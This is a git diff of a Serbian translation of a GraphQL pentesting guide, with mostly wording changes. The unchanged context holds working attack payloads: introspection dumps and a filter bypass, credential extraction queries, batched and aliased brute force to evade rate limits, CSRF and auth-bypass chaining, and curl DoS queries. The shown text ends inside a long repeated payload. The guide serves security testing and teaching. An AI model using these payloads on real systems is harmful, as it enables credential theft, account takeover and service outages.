diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 44bcc4412..217c0c3ed 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -4,11 +4,11 @@
## Uvod
-GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka da bi prikupio podatke, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa preuzimanja podataka.
+GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija kroz **jedan zahtev**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka.
## GraphQL i bezbednost
-Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
+Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez pravilne autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik.
### Napadi brute force na direktorijume i GraphQL
@@ -23,11 +23,11 @@ Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanj
- `/graphql/api`
- `/graphql/graphql`
-Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih kroz krajnju tačku. GraphQL-ov introspekcijski sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/)
+Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih kroz krajnju tačku. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-je.**](https://graphql.org/learn/introspection/)
### Otisak
-Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
+Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
#### Univerzalni upiti
@@ -45,19 +45,19 @@ Da biste koristili introspekciju za otkrivanje informacija o šemi, upitite polj
```bash
query={__schema{types{name,fields{name}}}}
```
-Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:
+Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:
.png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
-Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
+Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (kao i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
.png>)
**Greške**
-Zanimljivo je znati da li će se **greške** prikazivati jer će doprineti korisnim **informacijama.**
+Zanimljivo je znati da li će se **greške** **prikazivati** jer će doprineti korisnim **informacijama.**
```
?query={__schema}
?query={}
@@ -67,7 +67,7 @@ Zanimljivo je znati da li će se **greške** prikazivati jer će doprineti koris
**Enumerisanje šeme baze podataka putem introspekcije**
-> [!NOTE]
+> [!TIP]
> Ako je introspekcija omogućena, ali gornji upit ne radi, pokušajte da uklonite `onOperation`, `onFragment` i `onField` direktive iz strukture upita.
```bash
#Full introspection query
@@ -158,11 +158,11 @@ name
}
}
```
-Инлајн интроспекција упит:
+Inline introspection upit:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
-Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql (imena objekata, parametre, tipove...)
+Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql-a (imena objekata, parametre, tipove...)
.png>)
@@ -172,7 +172,7 @@ Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https:/
Sada kada znamo koje vrste informacija su sačuvane unutar baze podataka, hajde da pokušamo da **izvučemo neke vrednosti**.
-U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer ne možete upititi objekat samo zato što postoji). Na sledećoj slici možete videti da se "_queryType_" zove "_Query_" i da je jedno od polja objekta "_Query_" "_flags_", što je takođe tip objekta. Stoga možete upititi objekat zastavice.
+U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer ne možete upititi objekat samo zato što postoji). Na sledećoj slici možete videti da se "_queryType_" zove "_Query_" i da je jedno od polja objekta "_Query_" "_flags_", koji je takođe tip objekta. Stoga možete upititi objekat zastavice.

@@ -184,7 +184,7 @@ Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zati
```javascript
query={flags{name, value}}
```
-Napomena da, u slučaju da je **objekat za upit** **primitivni** **tip** kao što je **string**, kao u sledećem primeru
+Napomena da u slučaju da je **objekat za upit** **primitivni** **tip** kao što je **string** kao u sledećem primeru
.png>)
@@ -193,7 +193,7 @@ Možete ga jednostavno upititi sa:
query = { hiddenFlags }
```
U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\
-Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli biste izvući sačuvana korisnička imena i lozinke:
+Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke:
.png>)
@@ -202,16 +202,16 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**:
.png>)
Izgleda da će na neki način pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\
-U svakom slučaju, već smo to znali, u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen je upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+U svakom slučaju, već smo to znali, u [Basic Enumeration](graphql.md#basic-enumeration) sekciji je predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
-Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
+Ako pročitate sliku koju sam priložio kada pokrenem taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
-Dakle, vršeći lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
+Dakle, obavljajući lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
`query={user(uid:1){user,password}}`
.png>)
-Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
+Napomena da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
.png>)
@@ -219,11 +219,11 @@ I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja
**Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)**
-Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći "**theusers**" po String polju nazvanom "**description**"_).
+Ako možete pretraživati po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po string polju nazvanom "**description**"_).
### Pretraga
-U ovom podešavanju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
+U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese:
```javascript
@@ -285,7 +285,7 @@ name
**Mutacije se koriste za pravljenje promena na serverskoj strani.**
-U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem imidžu "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
+U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećoj slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju):
.png>)
@@ -304,7 +304,7 @@ rating
```
**Napomena kako su i vrednosti i tip podataka naznačeni u upitu.**
-Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim povezivanjem sa postojećim **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranom osobom.
+Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim povezivanjem sa postojećim **friends** i **movies**. Važno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranom osobom.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -332,20 +332,20 @@ releaseYear
}
}
```
-### Direktiva Preopterećenja
+### Directive Overloading
-Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši resurse dok nije moguće izvršiti DoS napad.
+Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok nije moguće izvršiti DoS napad.
-### Grupisanje brute-force u 1 API zahtevu
+### Batching brute-force u 1 API zahtevu
Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Autentifikacija kroz GraphQL API sa **istovremenim slanjem više upita sa različitim kredencijalima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zahvaljujući GraphQL funkciji grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
+Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL batching funkcionalnosti. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke.
Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:
.png>)
-Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne** podatke za autentifikaciju i odgovor ima ispravan token sesije za autentifikaciju.
+Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne podatke za autentifikaciju** i odgovor sadrži ispravan token sesije za autentifikaciju.
 (1).png>)
@@ -357,7 +357,7 @@ Sve više **graphql krajnjih tačaka onemogućava introspekciju**. Međutim, gre
Lepa **lista reči** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](https://github.com/Escape-Technologies/graphql-wordlist?).
-### Zaobilaženje odbrana GraphQL introspekcije
+### Obilaženje GraphQL introspekcijskih odbrana
Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon `__schema` može zaobići takve odbrane:
```bash
@@ -367,11 +367,11 @@ Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **
{queryType{name}}}"
}
```
-Ako ne uspete, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
+Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve.
### Pokušajte sa WebSockets
-Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websocket-a otkrije šemu graphQL-a:
+Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
@@ -395,7 +395,7 @@ payload: GQL_CALL,
ws.send(JSON.stringify(graphqlMsg))
}
```
-### **Otkrivanje Izloženih GraphQL Struktura**
+### **Otkriće Izloženih GraphQL Struktura**
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
```javascript
@@ -403,7 +403,7 @@ Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
-## CSRF u GraphQL
+## CSRF u GraphQL-u
Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
@@ -413,7 +413,7 @@ Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
Napolju možete pronaći nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.**
-Napomena da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
+Napomena: GraphQL zahtevi se obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@@ -427,7 +427,7 @@ Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesit
Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
-Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih kredencijala.
+Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika.
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
@@ -443,9 +443,9 @@ Za više informacija proverite:
## Autorizacija u GraphQL
-Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju.
+Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahteva, ali ne i autorizaciju.
-Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leak](https://hackerone.com/reports/792927).
+Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927).
Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje podatke o drugom računu.
```javascript
@@ -459,17 +459,17 @@ Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje
[Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije.
-U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika kako bi se sistem registrovao kao novi korisnik.
+U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i korisničku promenljivu za sistem da registruje kao novog korisnika.
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL
-U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.
+U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koje sprečava GraphQL objekte da imaju više svojstava sa istim imenom.
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
-Dok je primarna svrha aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
+Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasovani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno.
```bash
@@ -486,7 +486,7 @@ valid
}
}
```
-## DoS u GraphQL
+## DoS u GraphQL-u
### Preopterećenje Alias-a
@@ -511,9 +511,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
```
U ovom primeru, 10 različitih upita je grupisano u jedan zahtev, prisiljavajući server da izvrši sve njih simultano. Ako se iskoristi sa većim brojem upita ili računski skupim upitima, može preopteretiti server.
-### **Vulnerabilnost preopterećenja direktiva**
+### **Ranljivost preopterećenja direktiva**
-**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršitelj servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo kreiranjem upita sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
+**Preopterećenje direktiva** se dešava kada GraphQL server dozvoljava upite sa prekomernim, dupliciranim direktivama. Ovo može preopteretiti parser i izvršavača servera, posebno ako server ponovo obrađuje istu logiku direktive. Bez pravilne validacije ili ograničenja, napadač može iskoristiti ovo tako što će kreirati upit sa brojnim dupliciranim direktivama kako bi izazvao visoku potrošnju resursa ili memorije, što dovodi do **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -528,7 +528,7 @@ curl -X POST \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
-Možete takođe poslati upit za introspekciju kako biste otkrili sve deklarisane direktive:
+Možete takođe poslati introspekcioni upit da otkrijete sve deklarisane direktive:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@@ -539,31 +539,94 @@ I zatim **koristite neke od prilagođenih**.
### **Ranljivost duplikacije polja**
-**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Odbijanja usluge (DoS)**.
+**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 